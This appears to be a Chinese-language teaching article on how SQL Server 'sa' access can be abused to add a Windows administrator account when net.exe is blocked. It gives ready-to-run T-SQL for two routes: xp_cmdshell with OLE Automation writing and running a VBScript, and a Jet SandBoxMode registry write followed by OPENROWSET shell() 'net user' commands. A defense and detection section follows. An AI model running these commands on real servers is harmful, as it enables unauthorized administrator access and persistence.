本文僅供安全研究與防禦教學目的,嚴禁用於非授權滲透測試或惡意攻擊。所有技術細節旨在協助資料庫管理員理解風險並加強防護。
攻擊者已取得 sa 帳號密碼,但目標伺服器限制 net.exe/net1.exe 執行,無法直接建立系統管理員帳號。利用 SQL Server 擴展預存程序與 Windows 腳本宿主(WSH)繞過限制。
利用 WScript.Network 物件取得電腦名,透過 WinNT:// 提供者綁定 ADSI,直接操作本地 Administrators 群組新增用戶,完全繞過命令列工具。
sp_OACreate 建立 Scripting.FileSystemObject 寫入 .vbs 腳本檔sp_OAMethod 逐行寫入 VBScript 代碼xp_cmdshell 執行 cscript.exe 解釋執行腳本-- 1. 啟用必要的進階選項與擴展預存程序
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
-- 2. 寫入 VBScript 腳本(簡化示意)
DECLARE @o INT, @f INT, @ret INT;
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT;
EXEC sp_OAMethod @o, 'CreateTextFile', @f OUT, 'C:\temp\adduser.vbs', 1;
-- 此處循環寫入 VBScript 代碼行...
-- 建立用戶 test 密碼 ComplexPass123! 加入 Administrators 群組
-- 3. 執行腳本
EXEC master..xp_cmdshell 'cscript //nologo C:\temp\adduser.vbs';
利用 Microsoft.Jet.OLEDB.4.0 讀取系統資料庫 ias.mdb,透過 Shell() 函數執行命令:
-- 需先啟用沙箱模式
EXEC master.dbo.xp_regwrite
'HKEY_LOCAL_MACHINE',
'SOFTWARE\Microsoft\Jet\4.0\Engines',
'SandBoxMode', 'REG_DWORD', 1;
-- 執行命令新增用戶
SELECT * FROM OPENROWSET(
'microsoft.jet.oledb.4.0',
';database=C:\Windows\system32\ias\ias.mdb',
'select shell("cmd.exe /c net user test ComplexPass123! /add")'
);
SELECT * FROM OPENROWSET(
'microsoft.jet.oledb.4.0',
';database=C:\Windows\system32\ias\ias.mdb',
'select shell("cmd.exe /c net localgroup administrators test /add")'
);
路徑差異:NT/2000 為 C:\WINNT\system32\,XP/2003 為 C:\Windows\system32\。
| 防禦層面 | 具體措施 |
|---|---|
| 最小權限原則 | 應用程式連線勿使用 sa;建立專用低權限登入 |
| 禁用高風險擴展預存程序 | xp_cmdshell、sp_OA*、OPENROWSET 預設關閉,按需啟用 |
| 強化密碼策略 | 強制複雜度、長度、定期輪換,防止暴力破解 |
| 網路層隔離 | 資料庫伺服器不直接暴露於外網,僅允許應用伺服器存取 |
| 稽核與監控 | 啟用登入稽核、關鍵預存程序呼叫監控、檔案完整性監控(FIM) |
| 修補與更新 | 及時套用累積更新,修補已知提權漏洞(如 CVE-2008-5416 等) |
sp_OACreate/xp_cmdshell 執行記錄.vbs/.bat 檔案SandBoxMode=1 被修改SQL Server 內建的自動化與擴展功能雖強大,但也是攻擊面。纏繞防禦策略:預設拒絕、最小權限、持續監控、快速修補,才能有效降低 SA 帳號被濫用風險。